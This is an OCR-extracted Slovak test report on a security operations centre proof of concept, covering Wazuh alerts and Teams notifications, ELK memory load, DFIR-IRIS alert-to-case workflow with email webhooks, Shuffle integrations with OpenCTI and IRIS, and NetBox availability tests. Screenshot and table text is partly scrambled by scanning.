Mar 30, 2026 @ 22:17:51.000
Packages (785) C Refresh & Export formatted

Searct waQL
Name T Architecture  Version Vendor Description
Automat 20.2.0
Babel 2.8.0
Jinja2 3.03
MarkupSafe 2.0.1
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Processes (107) C Refresh cly Export formatted
earch waQl
Name 1 Effective user Effective group PID ParentPID VMsize Size Session Priority  State Command Argvs
acpi_th
ermal_p root root 98 2 0 0 0 20 |
m
-0-p --\u--
keep-baud
agetty root root 696 1 6220 1555 696 0 S /sbinfagetty 115200,5760
0,38400,9600
hveO vt220
-0-p--\u--
keep-baud
agetty root root 697 1 6220 1555 697 0 S /sbinf/agetty 115200,5760
0,38400,9600
ttyS0O vt220

7.5 Posielanie notifikacii

Analyzovali sme rdzne nastroje pre posielanie notifikacii ako Slack, PagerDuty a MS
Teams. Pre ucely monitorovania sme sa rozhodli pouzit MS Teams. Integracia je postavena
na vyuZziti Incoming Webhook (HTTP endpoint). Platforma Wazuh odosiela data vo formate
JSON, ktoré sa v Teams transformuju na vizualne Strukturované karty (Adaptive Cards). Tento
format umoznuje prehladné zobrazenie kfucovych metrik, ako su urover zavaznosti (severity),
identifikacia agenta, ID pravidla a podrobny opis udalosti.

£ Wazuh alert
CVE-2025-61144 affects libtiff5

Rule ID 23505

03/25/2026 07:05:35
Location vulnerability-detector

Log (excerpt)

Na obrazku mézeme vidiet ako vyzera adaptivna karta poslana do kanala v MS Teams.
V karte vidime zakladny popis udalosti - incidentu, rule id, nazov a ip adresu konkrétneho
agenta, ¢as zaznamenania incidentu, lokacia incidentu a pripadne aj log.
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7.6 Vysledky testovania

Identifikator ‘ Nazov testu Typ testu Overovana oblast’ Vyhodnotenie

TS-DW-01

Modul Threat Hunting —
zaznamenavanie udalosti,
Zaznamenanie udalosti — , zobrazenie timestamp,
o Overovaci test

incidentu agent.name,
rule.description, level.id,
rule.id

Splnené

TS-DW-02

Modul Vulnerability
Detection — zoznam CVE,
zavaznost CVSS,
identifikacia zranitelnych
balikov a verzii, dostupné
opravy

Skenovanie zranitelnosti | Overovaci test Splnené

TS-DW-03

Modul SCA - kontrola
nastaveni podla
bezpe&nostnych
Configuration Overovaci test Standardov (CIS
Assessment Benchmarks), identifikacia
slabych hesiel,
nespravnych prav,
otvorenych portov

Splnené

TS-DW-04

Modul Inventory Data —
prehlad sledovanych
systémoy, sietové
Inventar dat Overovaci test | rozhrania, IP adresy, Splnené
beZiace procesy,
nainstalovany softvér a
verzie

TS-DW-05

Integracia Wazuh — MS
Teams cez Incoming
Webhook; Adaptive Cards s
informaciami o severity,
agentovi, rule ID, popise
udalosti a ¢ase

Posielanie notifikacii Integracny test Splnené

Logstash

RAM

* ¥
* *
* *
* *

* ok

Logstash 6.86GB

@timestamp per 3 hours

Dashboard Zatazenie Stacku, Loghstash
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Z pohladu jednotlivych uzlov je najvyS8ie zataZenie pozorované na datovych uzloch

jednotlivych komponentov ELK stacku je uvedené v tabulke.

Systém Vyuzitie RAM [GB] Pridelena RAM [GB]
master1 6.3 16

hot1 9.98 31

hot2 11.44 31

hot3 10.98 31

warm1 8.80 31

warm2 4.50 31

cold1 2.91 16

kibana 0.457 8

logstash 6.86 16

Tabulka. Realne vyuZitie operaCnej pamate

7.7 Suhrn testovania

Identifikator Nazov testu Typ testu Overovana oblast’ Vyhodnotenie
Monitorovanie vyuzitia RAM
komponentov ELK stacku
Monitorovanie (Elasticsearch uzly
zatazenia o master/hot/warm/cold, Logstash, ;
TS-ZAT-01 komponentov Zatazovy test Kibana)  pomocou  Metricbeat; Spinené
ELK Stack dashboard ,Zatazenie Stacku" za
obdobie 6 dni; overenie dostato¢nej
rezervy pre rozsirenie infrastruktary
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8 TESTY INTEGRACIE MEDZI KOMPONENTAMI A
EVIDENCIE INCIDENTOV V DFIR IRIS

DFIR-IRIS v ramci PoC rieSenia SOC plIni ulohu centralneho nastroja pre spravu a
rieSenie bezpecnostnych alertov a incidentov. V tomto testovacom scenari sme testovali:

funkénost spoluprace tohto komponentu so systémom Wazuh,

zobrazenie detegovanych udalosti

moznosti pre spracovanie analytikmi

podporu celého incident response procesu vratane notifikacii a automatizacie.

8.1 Centralizacia a prehlad alertov

V nastroji DFIR-IRIS su prijaté alerty zo systému Wazuh centralizovane zobrazované
v prehladnom rozhrani. Alerty su do systému importované automaticky prostrednictvom
integracie a predstavuju jednotlivé detegované bezpeénostné udalosti.

Na hlavnej obrazovke je mozné vidiet zoznam alertov spolu so zakladnymi
informaciami, ako su nazov alertu, jeho zavaznost, zdroj a ¢as vytvorenia. Tento prehlad
umozfiuje analytikovi rychlo identifikovat relevantné udalosti a rozhodnut o ich dalSom
spracovani.

Q HIGH AMOUNT OF POST REQUESTS IN A SMALL PERIOD OF TIME (LIKELY BOT [

1 var
I Log Mar/2026:16:36:37 +00X XOST /zabbix/zabbix php?action=notifications get&output =ajax HTTP/1.1* 200 106
Chrome/146.0.0.0 Safar /.36

Obrazok 1 Ukazka Alertu importovaného z Wazuha
8.2 Detail alertu a jeho sprava
Po otvoreni konkrétneho alertu je mozné zobrazit’' jeho detail, ktory obsahuje:

pravidlo detekcie

uroven zavaznosti

zdrojovy systém

MITRE ATT&CK klasifikaciu
kompletny log zaznam udalosti

V ramci detailu je mozné menit stav alertu pomocou preddefinovanych hodnét:

e New
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In progress

Pending

Closed

Merged

pl

Tieto stavy reprezentuju jednotlivé fazy spracovania alertu v ramci SOC procesu.

HIGH AMOUNT OF POST REQUESTS IN A SMALL PERIOD OF TIME (LIKELY BOT). o s :
#1808 - 3AA41( 4C-4782-BFFE IACCAE4A4BL
o
Rule1D: 31533 New
Rule Level: 10 In progress
Rule Description: High amount of POST requests in a small period of time (likely bot) .
Agent ID: 003 Pending
Agent Name: Zabbix Closed
MITRE IDs: T1498 Merged

MITRE Tactics: Impact

MITRE Techniques: Network Denial of Service

Location: fvar/log/apache2/access log

Full Log: I - - (20/Mar/2026:16:36:37 +0000) "POST /zabbix/zabbix.php?action=notifications.get&output=ajax HTTP/1.1" 200 1065

“http:/ | I -2bbix/zabbix php2action=action list&eventsource=0" "Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/146.0.0.0 Safari/537.36"

General info

Source: Wazuh

Source Link: https:// N - oo/ vz-home
Source Reference: 1774888598.2460645

Source Event Time: 30.3.2026 16:36:38 UTC

IRIS Creation Time: 30.3.202616:36:41 UTC

Atoa o _a

8.3 Prirad'ovanie alertov analytikom

DFIR-IRIS umoznuje priradit alert konkrétnemu analytikovi, ktory je zodpovedny za
jeho spracovanie. V ramci pouZzivatel'ského rozhrania je dostupna moznost rychleho priradenia
alertu aktualnemu pouzivatelovi Assign to me alebo manualne priradenie inému &lenovi timu:

e rychle priradenie (,Assign to me*)
e manualne priradenie inému ¢&lenovi timu

Q HIGH AMOUNT OF POST REQUESTS IN A SMALL PERIOD OF TIME (LIKELY BOT).

o /7 H
#16 BFFB-23ACCAE4A4BL
(] (oo -

Rule ID: 31533 Assign to me

Rule Level: 10 Assign

Rule Description: High amount of POST requests in 2 small period of time (likely bot).

Agent ID: 003

Agent Name: Zabbix

MITRE IDs: T1498

MITRE Tactics: Impact

MITRE Techniques: Network Denial of Service

Location: /var/log/apache2/access.log

Full Log: NG 30/ Mar/2026:16:36:37 +0000] “POST /zabbix/zabbix.php?action=notifications.get&output=ajax HTTP/1.1" 200 1065
“http:/ | 2-bbix/22bbix php?action=action list&eventsource=0" "Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/146.0.0.0 Safari/537.36"

Moznost priradenia alertu zodpovednému analytikovi v DFIR-IRIS
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V systéme DFIR-IRIS su vytvoreni pouzivatelia, ktori pracuju s alertmi a rieSia
jednotlivé incidenty. Kazdy pouzivatel ma priradené zakladné udaje vratane e-mailovej adresy.
Tieto udaje sa vyuzivaju napriklad pri priradeni alertu, ked je konkrétny analytik zodpovedny

za jeho rieSenie. V takom pripade mbze systém automaticky poslat’ notifikaciu na jeho e-mail,
ak je nastaveny email webhook.

47 Advanced

#1D Name Login Name Email Acti

Access control

#D Name Login Name Emall Active Service Account

Showing 1 o 3 of 3 entrie G

Zoznam pouzivatelov v DFIR-IRIS

8.4 Test modulov a rozsiritelnost’ systému

DFIR-IRIS obsahuje viacero modulov, ktoré rozSiruju jeho funkcionalitu. Jednym z nich
je modul IrisWebHooks, ktory umoziiuje reagovat na rézne udalosti v systéme a spustat
externé akcie. Tento modul je mozné vyuzit napriklad na odosielanie notifikacii alebo

prepojenie s externymi skriptami, ¢im sa rozSiruju moznosti automatizacie pri spracovani
alertov.

#1D Module name Has pipeline Module version Interface version Date added Added by Active

)25-11 18:254 /4156 administrator

4 1isWebHooks 109

#D Module name Has pipeline Module version Interface version Date added Added by Active

Dostupné moduly v DFIR-IRIS

V ramci modulu IrisWebHooks je mozné definovat’ konkrétne pravidla, pri ktorych sa
webhook vykona. Na obrazku je viditelna konfiguracia kde je urcené pri akej udalosti sa
webhook spusti (napriklad pri priradeni, aktualizacii alebo eskalacii alertu). Sucastou

konfiguracie je aj definovanie URL adresy, na ktoru sa odosielaju data, ako aj samotny obsah
spravy vo formate JSON.
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Update Webhooks configuration of IriswebHooks X

Description : JSON Webhooks configuration
Default: {}

Mandatory: True

Expected type: textfield json

Value

=

Konfiguracia webhooku v module IrisWebHooks

8.5 Notifikacie a automatizacia
8.5.1 Priradenie alertu analytikovi

Po nastaveni webhooku a priradeni alertu konkrétnemu pouzivatelovi je mozné
sledovat, kto dany alert prevzal. Na obrazku je viditelné, Ze alert bol priradeny analytikovi
Tomas, ktory je zodpovedny za jeho dalSie spracovanie. Tento krok je zaroven aj spustac pre
notifikacie.

c HIGH AMOUNT OF POST REQUESTS IN A SMALL PERIOD OF TIME (LIKELY BOT). ~ Vd :
.~ 2488 . 24441 4762-BFFB-23ACCAESA4BD
oo ]

Rule 1D- 31533 Assign to me
Rule Level: 10

Rule Description: High amount of POS| requests in a2 small period of time (likely bot).
Agent 1D: 003

Agent Name: Zabbix

MITRE 1Ds: T1498

MITRE Tactics: Impact

MITRE Techniques: Network Denial of Service

Assign

Location: var flog/apache2/access. log

Full Log: [ - (30/Mar/2026:16:36:37 +0000] "POST /zabbix/zabbix php?action=notifications.get&output=ajax HTTP/1.1" 200 1065

“nttp:/ | 22 bbix/zabbix. php?action - action.list&eventsource 0" "Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/146.0.0.0 Safari/537.36"

@ 30.3.202616:36:30 % High @ Wazuh @ Wazuh (@ wazih (@ Zabbix

Priradenie alertu analytikovi

Po priradeni alertu konkrétnemu analytikovi sa prostrednictvom webhooku automaticky
odoSle notifikdcia vo forme e-mailu. Tato akcia je vyvolana udalostou
on_postload_alert_update, kedZe dochadza k zmene atributov alertu. E-mail obsahuje
zakladné informacie o alertu, ako su:
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nazov

zavaznost

stav

priradeného analytika

pl

Tieto informacie poskytuju analytikovi dostatocny prehlad na rychle zacatie rieSenia
incidentu.

[DFIR-IRIS] Bol vam priradeny novy alert #1808 inbox x

o DFIR-IRIS <boggingsb@gmail.com>
. tome w

DFIR-IRIS - Notifikacia
Bol vam priradeny novy alert

Typ webhooku: alert_update

Typ objektu: alert

ID alertu: 1808

Néazov: High amount of POST requests in a small period of time (likely bot)
Aktualny stav: New

Zavaznost: High

Priradeny analytik: Tomas

Resolution status:

Detail alertu:

https:/ I ap0/wz-home

Automaticka sprava — DFIR-IRIS

Notifikacia o priradeni alertu analytikovi

8.5.2 Zmena stavu alertu

Pri zmene stavu alertu sa rovnako spusta webhook, ktory odoSle notifikaciu o tejto
zmene. V tomto pripade ide opat o udalost typu on_postload_alert_update. Obsah e-mailu je
mozné prispdsobit’ podla potreby a méze zahffhat' rézne informacie, ako napriklad novy stav
alertu, jeho zavaznost alebo priradeného analytika.
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[DFIR-IRIS] Zmena stavu alertu #1808 inbox x

. DFIR-IRIS <boggingsb@gmail.com>
‘ tome

DFIR-IRIS — Notifikacia
Doslo k zmene stavu alertu na: In progress

Typ webhooku: alert_update

Typ objektu: alert

ID alertu: 1808

Nazov: High amount of POST requests in a small period of time (likely bot).
Aktualny stav: In progress

Zavaznost: High

Priradeny analytik: Tomas

Resolution status:

Detall alertu

htos /| 200/ wz-home

Automaticka sprava — DFIR-IRIS

Notifikacia o zmene stavu alertu

8.5.3 Eskalacia do incidentu

Pri eskalacii alertu do pripadu incidentu dochadza k viacerym udalostiam, ktoré mézu
spustit odoslanie notifikacii. V tomto pripade boli odoslané dve spravy. Jedna informujuca o
eskalacii alertu a druha o vytvoreni noveho pripadu. Toto spravanie je mozné upravit v
konfiguracii webhooku podla poziadaviek, napriklad obmedzenim poctu notifikacii alebo ich
zlu€enim do jednej spravy.

DFIR-IRIS [DFIR-IRIS] Bol vytvoreny pripad Case #26 - DFIR-IRIS - Notifikacia Bol vytvoreny novy incidentny pripad Case #26. Typ wet 11:58PM

DFIR-IRIS [DFIR-IRIS] Alert #1808 bol eskalovany do pripadu - DFIR-IRIS - Notifikacia Alert bol eskalovany do incidentného pripadu. Ty. 11:58PM

Notifikacie pri eskalacii alertu do incidentného pripadu

8.6 Incident management (case management)

Po vytvoreni nového incidentného pripadu systém odoSle notifikaciu, ktora obsahuje
zakladné informacie o danom pripade, ako je jeho identifikator a priradeny analytik. Tato akcia
je viazana na udalost’ typu case_create.
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[DFIR-IRIS] Bol vytvoreny pripad Case #26 inbox x

o DFIR-IRIS <boggingsb@gmail.com>
‘ tome =

DFIR-IRIS - Notifikacia
Bol vytvoreny novy incidentny pripad Case #26

Typ webhooku: case_create
Typ objektu: case

Case ID: 26

Priradeny analytik: Tomas

Automaticka sprava — DFIR-IRIS

Notifikacia o vytvoreni incidentného pripadu

Po eskalacii alertu je v systéme DFIR-IRIS automaticky vytvoreny incidentny pripad
(case). Tento pripad obsahuje zakladné informacie prevzaté z alertu, ako su:

e popis,
e zavaznost
e suUvisiace udalosti.

#26 - Test 30

IRIS alert link
Viytvoreny incidentny pripad v DFIR-IRIS
i : URAD VLADY
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V ramci incidentného pripadu je mozné upravovat jeho stav a doplnit' vysledok
vySetrovania (outcome). Pouzivatel méze napriklad urcit, €i ide o False Positive, True Positive
alebo inu kategdriu. Tieto informacie su dblezité pre vyhodnotenie incidentu a jeho dalSie
spracovanie. Okrem toho je mozné menit aj stav pripadu, pri€om systém podporuje viacero
faz spracovania, napriklad Open, Eradication alebo iné stavy podfa priebehu rieSenia
incidentu.

Zhrnutie - v ramci pripadu je mozné:

e menit stav (napr. Open, Eradication)
e definovat vysledok (True Positive, False Positive, iné)

#26-Test30 "D Access X

Edit case information

Case name #26- Test 30 SOC ticket 1D 1808
Classification Owner Tomas v
State Open v Outcome Unknown v
Customer Wazuh ~ Reviewer
Unknown
False Positive
Severity High -
True Positive with impact
True Positive without impact
Case tags
Legitimate
wazuhX ZabbixX Type here Not applicable
Add protagonist
Moznosti tupravy incidentného pripadu
DFIR-IRIS [DFIR-IRIS] Alert #1808 bol uzavrety - DFIR-IF Notifikacia Alert bol uzavrety. Typ webhooku: alert_update Typ objektu: aler 12:01AM
DFIR-IRIS [DFIR-IRIS] Pripad Case #26 bol uzavrety - DFIR-IRIS - Notifikécia Incidentny pripad Case #26 bol uzavrety. Vysledok: false_g 12:01AM

Notifikacie po uzavreti alertu a incidentného pripadu

8.7 Uzatvorenie incidentu a notifikacie

Po uzavreti incidentného pripadu dochadza k odoslaniu notifikacii, ktoré informuju o
ukonéeni spracovania. V tomto pripade boli odoslané dve spravy — jedna pre alert a druha pre
samotny pripad incidentu. Toto spravanie suvisi s tym, Ze uzavretie pripadu zaroven znamena
ukonc&enie spracovania prislusného alertu.
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Po uzavreti pripadu systém odosle e-mailovu notifikaciu, ktora obsahuje informacie o

vysledku spracovania. V tomto pripade bol incident vyhodnoteny ako false positive. Obsah
notifikacie je mozné prispésobit v ramci webhook konfiguracie.

[DFIR-IRIS] Pripad Case #26 bol uzavrety inbox x

I} DFIR-IRIS <boggingsb@gmail.com>

. tome =
DFIR-IRIS — Notifikacia

Incidentny pripad Case #26 bol uzavrety. Vysledok: false_positive

Typ webhooku: case_update
Typ objektu: case

Case ID: 26

Nazov pripadu: Case #26
Stav pripadu: Closed
Vysledok: false_positive
Priradeny analytik: Tomas

Automaticka sprava — DFIR-IRIS

Email po uzavreti case

8.8 Testovanie prepojenia SOAR Shuffle a OpenCTI komponentu

Obrazok niZSie ilustruje obsah a tok alertu, ktory vznikol ako alert v Elasticsearch. Tento
alert bol transformovany pomocou Shuffle a nasledne bol importovany do OpenCT]I. Alert sa
tyka zhromazdovania systémovych informacii na linuxovom hostitefovi a obsahuje metadata,
observables a kontext potrebny pre dalSie vySetrovanie.
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BASIC INFORMATION

Marking

Author

Reliability (of author)

Confidence level

Unknown

Distribution of opinions

Original creation date
March 24, 2026 at 7:20:36 PM

Modification date
March 24, 2026 at 7:20:36 PM

Processing status

DISABLED

Assignees

Participants

Platform creation date
March 24, 2026 at 7:20:36 PM

Creators

Standard STIX ID

BRAIN:IT

incident - -83€5037a-3200-5fC8-8020- 5448413 F7F f

Obsah a tok alertu z ES transformovany cez SOAR Shuffle

Alert nesie nazov ,Linux System Information Discovery“ a obsahuje ¢asové peciatky
pbévodnej udalosti z Elasticsearch, priradenu uroven zavaznosti (severity), identifikator zdroja
a textovy popis dévodu vyvolania.

Dévod posielania alertov zo Shuffle do OpenCTl je zabezpedit, aby detekované
bezpecnostné udalosti (alerty) z automatizovaného toku v Shuffle boli centralizovane ulozené,
obohatené a vyuzitelné v OpenCTI pre dlhodobu korelaciu, vySetrenie a zdielanie kontextu.

API volania pre OpenCT]:
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indicator.list() - Zoznam v3Setkych indikatorov (IP, domény, hash)
stix_domain_object.read() - Citanie $pecifickych STIX objektov
incident.list() - Zoznam vSetkych incidentov
incident.create() - Vytvorenie nového incidentu

URAD VLADY
SLOVENSKE) REPUBLIKY

76



ZILINSKA UNIVERZITA V ZILINE

WA | e BRAIN:IT
8.9 Testovanie prepojenia SOAR Shuffle a komponentu pre
evidenciu incidentov DFIR IRIS

Obrazok nizSie ukazuje alerty poslané z komponentu SOAR Shuffle do komponentu
pre evidenciu incidentov DFIR IRIS.

#25 - toto je zo shuffle

Open on

Owned by

— — e e m

Case summary ) g Can [N

Ukazka alertu zo SOAR Shuffle poslany do komponentu DFIR IRIS

IRIS zabezpecuje, ze kazdy detegovany bezpecnostny incident je okamzite zachyteny
v DFIR platforme, kde moéze prejst Standardizovanym pripadovym rieSenim, forenzikou a
sledovanim remediacie. IRIS sluzi ako primarne miesto pre vySetrenie, evidencia dokazov,
koordinaciu timov a uzavretie pripadu podla internych incident response postupov.

API volania pre DFIR IRIS:

e /manage/cases/add — Vytvorenie nového case
e /manage/cases/list - Vrati zoznam vSetkych cases, otvorenych aj zatvorenych
e /casel/{case_id} - Detaily konkrétneho case
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8.10 Suhrn testovania

BRAIN:IT

Identifikator ‘ Nazov testu Typ testu Overovana oblast’ ‘ Vyhodnotenie
Import alertov z Wazuh do DFIR-
Centralizacia a IRIS; prehladné zobrazenie
TS-DIR-01 rehlad alertov Integracny test | zoznamu alertov s nazvom, Splnené
P zavaznostou, zdrojom a asom
vytvorenia
Zobrazenie detailu alertu (pravidlo
detekcie, zavaznost, zdroj, MITRE
TS-DIR-02 !Detall algrtu a Integradny test ATT&CK klasifikacia, log zaznam); Splnené
jeho sprava zmena stavu alertu (New, In
progress, Pending, Closed,
Merged)
Priradovanie Priradenie alertu analytikovi —
TS-DIR-03 alertov Integracny test rychle'prlrad.enle (,,As.sw';n to me”), Splnené
analytikom rvnanualln'e prlradgnle inému
¢lenovi timu; sprava pouzivatelov
Moduly DFIR-IRIS —
Test modulov a IrisWebHooks, konfiguracia
MR P ) . pravidiel pre webhook spustanie, .
TS-DIR-04 ;ozszlérrlrt]elzjl nost Integracny test definovanie URL a JSON obsahu Splnené
y sprav, automatizacia pri
spracovani alertov
Emailové notifikacie pri zmene
TS-DIR-05 Notifikacie a Integradny test stavu alertu, priradeni analytikovi a Spinené
automatizacia eskalacii do incidentu; konfiguracia
webhookov pre rézne udalosti
Eskalacia alertu do incidentného
Incident pripadu; sprava pripadu (popis,
) ; management .. zavaznost, suvisiace udalosti); .
TS-DIR-06 (case Integracny test zmena stavu (Open, Eradication); Spinené
management) definovanie vysledku (True
Positive, False Positive)
Uzavretie incidentného pripadu;
Uzatvorenie emailova notifikacia s vysledkom
TS-DIR-07 incidentu a Integracny test | spracovania; automatické Splnené
notifikacie ukoncenie spracovania
prislusného alertu
Transformacia alertu z
Elasticsearch cez Shuffle do
Prepojenie OpenCTI; API volania
TS-DIR-08 SOAR Shuffle a Integracny test (|Pd|(zjator.l!st, biect read Splnené
OpenCTl stix_domain_object.read,
incident.list, incident.create);
centralizacia, obohatenie a
korelacia bezpec€nostnych udalosti
Odosielanie alertov zo Shuffle do
Prepojenie DFIR-IRIS; API volania
TS-DIR-09 SOAR Shuffle a Integracny test (/m:nage/paggs/a][dd ? daIS|$(); Splnené
DEIR-IRIS evidencia incidentov, forenzika,
koordinacia timov a uzavretie
pripadu
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9 TESTOVANIE KOMPONENTU NETBOX

Testovany komponent: NetBox

9.1 TS-NB-01 Overenie dostupnosti a zakladnej funkénosti
NetBoxu

Identifikator testu: TS-NB-01
Nazov testu: Overenie dostupnosti a zakladnej funkénosti NetBoxu
Typ testu: Funkény test

Ugel testu: Overit, &i je NetBox v prostredi PoC korektne nasadeny, dostupny cez webové
rozhranie a pripraveny na zakladnu pouZivatel'sku a administraénu pracu.

Predmet overenia: Predmetom testu je overenie zakladnej prevadzkovej pripravenosti
komponentu NetBox po jeho nasadeni v prostredi OpenStack. Test bol zamerany na to, Ci je
sluzba dostupna, &i je mozné pristupit do webového rozhrania, UspeSne sa autentifikovat’ a
pracovat’ so zakladnymi ¢astami systému bez zjavnej chyby alebo nefunk&nosti. Zaroven sa
overovalo, Ci je NetBox pripraveny na dalSie pouzitie v ramci PoC ako evidencny a kontextovy
nastroj.

Vychodiskovy stav: NetBox je nasadeny ako samostatna sluzba v prostredi OpenStack.
Systém bol zakladne nakonfigurovany a boli spristupnené jeho aplikaéné komponenty vratane
databazovej a podpornej vrstvy potrebnej na jeho beh. Pred zaciatkom testu sa predpokladalo,
Ze sluzba je spustena, ma pridelené sietové pripojenie a je dostupna cez definované webové
rozhranie.

Postup testu:

Overila sa sietova dostupnost NetBoxu v nasadenom prostredi.

Otvorilo sa webové rozhranie systému cez webovy prehliadac.

Overilo sa korektné nacitanie prihlasovacej alebo Uvodnej obrazovky systému.
Vykonalo sa prihlasenie pomocou dostupného pouzivatelského uétu.

Po prihlaseni sa overilo nacitanie zakladnych €asti rozhrania a orientacia v systéme.
Skontrolovala sa dostupnost’ vybranych evidenénych Casti systému, najma zariadeni,
lokalit, adresacie a dalSich zakladnych objektov.

7. Overilo sa, Ci systém nevykazuje zjavné chyby pri beznej praci v rozhrani.

oahwb~

Oc¢akavany vysledok:

Ocakavanym vysledkom je, Zze NetBox bude v prostredi PoC dostupny cez webové
rozhranie, umozni uspeSné prihlasenie a poskytne funkéné pouzivatelské rozhranie pre
zakladnu pracu so systémom. Zaroven sa oakavalo, Ze budu dostupné hlavné Casti aplikacie
potrebné pre evidenciu a spravu infrastrukturnych objektov.

Skutoény vysledok

NetBox bol v testovacom prostredi dostupny a jeho webové rozhranie sa nacitalo
korektne. Prihlasenie do systému bolo Uspesné a po autentifikacii bolo mozné pristupovat’ k
zakladnym cCastiam aplikacie. Overena bola dostupnost vybranych evidenénych sekcii
systému a zakladna orientacia v pouzivatelskom rozhrani. Poéas testu neboli pozorované
kritické chyby, ktoré by branili dalSiemu pouzivaniu systému v ramci PoC.

Vyhodnotenie testu: Spinené.
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Na zaklade vykonaného overenia mozno konstatovat, Zze NetBox bol uspeSne
nasadeny a sprevadzkovany v rozsahu potrebnom pre PoC rieSenie. Test potvrdil, Zze

komponent je dostupny, funkény a pripraveny na zakladné evidencéné a kontextové vyuzitie v
ramci navrhovaného riesenia.

VAl

Zistenia a poznamky

Test TS-NB-01 overoval len zakladnu dostupnost’ a funkénost systému, nie vSetky jeho
rozSirené moznosti alebo integraéné vazby voci ostatnym komponentom PoC. Vysledok preto
potvrdzuje prevadzkovu pripravenost NetBoxu na urovni samostatnej sluzby, nie uplnost’ jeho
zapojenia do vSetkych planovanych scenarov rieSenia. Test potvrdil predpoklad pre dalSie
testy zamerané na evidenciu objektov, infrastrukturny kontext a praktické vyuzitie NetBoxu v
ramci PoC.

Zaver

Test preukazal, ze NetBox je v prostredi PoC dostupny a zakladne funk&ny. Tym bola
potvrdena jeho pripravenost na dalSie overovanie v oblasti evidencie infrastrukturnych
objektov a vyuZitia ako podporného zdroja kontextovych udajov pre ostatné Casti rieSenia.

9.2 TS-NB-02 Overenie evidencie infrastruktirnych objektov
Identifikator testu: TS-NB-02

Nazov testu: Overenie evidencie infrastrukturnych objektov

Typ testu: Funkény test

Ugel testu: Overit, &i NetBox umozfuje evidenciu a spravu zakladnych infratrukturnych
objektov relevantnych pre PoC rieSenie, najma lokalit, zariadeni, adresnych priestorov a
vybranych sietovych udajov.

Predmet overenia: Predmetom testu je overenie, i je NetBox po nasadeni a zakladnej
konfiguracii pouzitelny na prakticku evidenciu objektov infrastruktury. Test bol zamerany na to,
Ci je mozné v systéme vytvarat, zobrazovat' a upravovat’ vybrané objekty a &i su tieto udaje v
systéme korektne ulozené a dostupné. Zaroven sa overovalo, €i vytvoreny datovy model
zodpoveda potrebam experimentalneho PoC rieSenia.

Vychodiskovy stav: NetBox je nasadeny a funkény v prostredi OpenStack. Systém je
dostupny cez webové rozhranie a pouzivatel ma k dispozicii opravnenie na pracu s
evidovanymi objektmi. V systéme su pripravené zakladné kategérie a Struktury potrebné na
evidenciu infrastrukturnych udajov..

Postup testu:

1. Overila sa dostupnost sekcii systému urCenych na evidenciu infrastruktdrnych
objektov.

Vytvorila sa alebo overila existencia lokality v systéme.

Vytvorilo sa alebo overilo zariadenie priradené k lokalite alebo logickému umiestneniu.
Overila sa evidencia adresného priestoru, prefixu alebo IP adresy.

Skontrolovala sa moznost’ uloZenia a nasledného zobrazenia vytvorenych udajov.
Overila sa moznost upravy vybraného objektu.

Posudilo sa, i systém poskytuje pouzitelnu evidenciu objektov pre potreby PoC..

2.
3.
4.
5.
6.
7.
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Ocakavany vysledok: Oc¢akavanym vysledkom je, Ze NetBox umozni evidenciu zakladnych
objektov infrastruktury, ich korektné ulozenie, zobrazenie a zakladnu spravu. Zaroven sa
oCakava, Ze evidované udaje budu pouzitelné ako zakladny infrastruktdrny kontext v ramci
PoC rieSenia.

Skutoény vysledok: V systéme bolo mozné pracovat so zakladnymi objektmi infrastruktury,
najmd s lokalitami, zariadeniami a adresnymi priestormi. Overené bolo ich vytvorenie,
zobrazenie aj zakladna uprava. Udaje boli v systéme korektne uloZené a dostupné cez
pouzivatelské rozhranie. V rozsahu vykonaného testu sa potvrdilo, Ze NetBox je pouZitelny
ako nastroj pre zakladnu evidenciu infrastrukturnych udajov relevantnych pre PoC.

Vyhodnotenie testu: Spinené.

Na zaklade vykonaného overenia mozno konstatovat, Ze NetBox v prostredi PoC spifia
poziadavku na zakladnu evidenciu infrastrukturnych objektov. Test potvrdil, Ze systém je
pouzitelny na spravu udajov o vybranych aktivach a adresacii v rozsahu potrebnom pre
experimentalne rieSenie..

Zistenia a poznamky

Test TS-NB-02 bol zamerany na zakladnu evidencnu funk&nost' systému, nie na upiné
modelovanie celej infradtruktury alebo na integraciu vSetkych objektovych vazieb. Overenie
preto potvrdzuje funkénost evidencie v rozsahu PoC, nie Uplnost alebo finalnu prevadzkovu
zrelost datového modelu. Test zaroven vytvoril predpoklad pre dalSie overenie vztahov medzi
objektmi a vyuzitia NetBoxu ako zdroja infrastrukturneho kontextu..

Zaver

Test preukazal, Ze NetBox je v prostredi PoC funkény ako evidenény nastroj pre
zakladné infrastrukturne objekty. Tym bola potvrdena jeho pouzitefnost pre dalSie overovanie
logickych vazieb a kontextového vyuZitia v navrhovanom rieSeni.

9.3 TS-NB-03 Overenie vztahov a orientacie v infrastrukturnom
kontexte

Identifikator testu: TS-NB-03
Nazov testu: Overenie vztahov a orientacie v infrastruktirnom kontexte
Typ testu: Funkény test

Ugel testu: Overit, & NetBox umozZriuje pracovat nielen s evidenciou samostatnych objektov,
ale aj so vztahmi medzi nimi, a &i poskytuje pouzitefny infrastrukturny kontext pre orientaciu v
prostredi PoC rieSenia.

Predmet overenia: Predmetom testu je overenie, €i su v systéme dostupné a pouzitelné
logické vazby medzi evidovanymi objekimi, napriklad medzi zariadeniami, lokalitami,
rozhraniami, IP adresami, prefixmi alebo kabelaZou. Test bol zamerany na to, i NetBox
poskytuje prehlfad o vztahoch medzi objektmi a Ci tieto vztahy pomahaju pri orientacii v
infratrukture. Zaroven sa overovalo, Ci je mozné tieto informacie vyuzit pri interpretacii
technického kontextu v ramci PoC.

Vychodiskovy stav: NetBox je nasadeny a funkény, priCom v systéme su vytvorené zakladné
infratrukturne objekty, najma lokality, zariadenia, adresné priestory a vybrané sietové alebo
fyzické vazby. Pouzivatel ma pristup do systému a mdze pracovat’ s evidennymi udajmi a ich
vztahmi.
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Postup testu:

1. Overila sa dostupnost sekcii systému suvisiacich s vazbami medzi objektmi.

2. Vybralo sa zariadenie evidované v systéme a overilo sa jeho zaradenie do lokality
alebo logického umiestnenia.

3. Overila sa vazba medzi zariadenim a jeho rozhraniami alebo adresaciou.

4. Skontrolovala sa existencia vazieb medzi adresnymi priestormi, prefixmi alebo IP
adresami a prisluSnymi objektmi.

5. Overila sa dostupnost’ topologickych alebo kabelaznych informacii, ak boli v PoC
